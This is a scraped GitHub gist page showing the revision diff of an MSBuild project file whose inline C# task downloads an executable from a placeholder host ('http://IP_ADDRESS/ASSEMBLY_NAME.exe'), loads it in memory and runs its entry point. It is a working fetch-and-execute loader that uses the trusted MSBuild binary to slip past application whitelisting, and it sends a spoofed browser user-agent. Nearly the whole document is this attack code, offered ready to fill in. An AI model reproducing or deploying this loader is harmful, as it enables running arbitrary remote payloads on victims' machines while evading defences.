-
-
Save kapiushion/c1a22d412fbd21bc95566de5c5aa7fa9 to your computer and use it in GitHub Desktop.
Revisions
-
G0ldenGunSec revised this gist
Nov 26, 2018 . 1 changed file with 8 additions and 8 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -20,15 +20,15 @@ { public override bool Execute() { using (WebClient client = new WebClient()) { System.Net.ServicePointManager.SecurityProtocol = System.Net.SecurityProtocolType.Tls | System.Net.SecurityProtocolType.Tls11 | System.Net.SecurityProtocolType.Tls12; client.Headers.Add ("user-agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36"); MemoryStream ms = new MemoryStream(client.DownloadData("http://IP_ADDRESS/ASSEMBLY_NAME.exe")); BinaryReader br = new BinaryReader(ms); byte[] bin = br.ReadBytes(Convert.ToInt32(ms.Length)); ms.Close(); br.Close(); Assembly a = Assembly.Load(bin); string[] args = new string[] {"ASSEMBLY ARGS GO HERE"}; -
G0ldenGunSec created this gist
Nov 26, 2018 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,56 @@ <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> <Target Name="DemoClass"> <ClassExample /> </Target> <UsingTask TaskName="ClassExample" TaskFactory="CodeTaskFactory" AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" > <Task> <Code Type="Class" Language="cs"> <![CDATA[ using System; using Microsoft.Build.Framework; using Microsoft.Build.Utilities; using System.IO; using System.Net; using System.Reflection; public class ClassExample : Task, ITask { public override bool Execute() { using (WebClient client = new WebClient()) { System.Net.ServicePointManager.SecurityProtocol = System.Net.SecurityProtocolType.Tls | System.Net.SecurityProtocolType.Tls11 | System.Net.SecurityProtocolType.Tls12; client.Headers.Add ("user-agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36"); MemoryStream ms = new MemoryStream(client.DownloadData("http://IP_ADDRESS/ASSEMBLY_NAME.exe")); BinaryReader br = new BinaryReader(ms); byte[] bin = br.ReadBytes(Convert.ToInt32(ms.Length)); ms.Close(); br.Close(); Assembly a = Assembly.Load(bin); string[] args = new string[] {"ASSEMBLY ARGS GO HERE"}; try { a.EntryPoint.Invoke(null, new object[] { args }); } catch { MethodInfo method = a.EntryPoint; if (method != null) { object o = a.CreateInstance(method.Name); method.Invoke(o, null); } } } return true; } } ]]> </Code> </Task> </UsingTask> </Project>